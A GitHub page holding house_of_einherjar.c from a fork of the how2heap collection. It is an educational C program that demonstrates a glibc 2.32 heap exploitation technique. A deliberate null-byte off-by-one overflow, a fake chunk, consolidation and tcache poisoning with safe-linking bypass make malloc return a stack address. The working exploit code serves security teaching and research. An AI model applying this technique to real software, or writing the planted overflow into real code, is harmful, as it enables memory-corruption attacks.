forked from shellphish/how2heap
-
Notifications
You must be signed in to change notification settings - Fork 0
/
house_of_einherjar.c
157 lines (126 loc) · 6.17 KB
/
house_of_einherjar.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
/*
* This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
* It has the additional requirement of a heap leak.
*
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
* The following restriction for normal bins won't allow us to create chunks bigger than the memory
* allocated from the system in this arena:
*
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to House of Einherjar 2!\n");
printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n");
printf("Next, we use tcache poisoning to hijack control flow.\n"
"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
"now tcache poisoning requires a heap leak.\n");
// prepare the target,
// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
// it must be properly aligned.
intptr_t stack_var[0x10];
intptr_t *target = NULL;
// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
printf("\nThe address we want malloc() to return is %p.\n", (char *)target);
printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
intptr_t *a = malloc(0x38);
// create a fake chunk
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck
printf("Our fake chunk at %p looks like:\n", a);
printf("prev_size (not used): %#lx\n", a[0]);
printf("size: %#lx\n", a[1]);
printf("fwd: %#lx\n", a[2]);
printf("bck: %#lx\n", a[3]);
printf("\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
uint8_t *b = (uint8_t *) malloc(0x28);
printf("b: %p\n", b);
int real_b_size = malloc_usable_size(b);
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf("\nWe allocate 0xf8 bytes for 'c'.\n");
uint8_t *c = (uint8_t *) malloc(0xf8);
printf("c: %p\n", c);
uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit
printf("\nc.size: %#lx\n", *c_size_ptr);
printf("c.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
// VULNERABILITY
b[real_b_size] = 0;
// VULNERABILITY
printf("c.size: %#lx\n", *c_size_ptr);
printf("It is easier if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
// Write a fake prev_size to the end of b
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
// Change the fake chunk's size to reflect c's new prev_size
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
a[1] = fake_size;
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);
// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf("\nFill tcache.\n");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}
printf("Fill up tcache list.\n");
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}
printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
free(c);
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);
printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
intptr_t *d = malloc(0x158);
printf("Next malloc(0x158) is at %p\n", d);
// tcache poisoning
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n");
uint8_t *pad = malloc(0x28);
free(pad);
printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, pad);
printf("We overwrite b's fwd pointer using chunk 'd'\n");
// requires a heap leak because it assumes the address of d is known.
// since house of einherjar also requires a heap leak, we can simply just use it here.
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);
// take target out
printf("Now we can cash out the target chunk.\n");
malloc(0x28);
intptr_t *e = malloc(0x28);
printf("\nThe new chunk is at %p\n", e);
// sanity check
assert(e == target);
printf("Got control on target/stack!\n\n");
}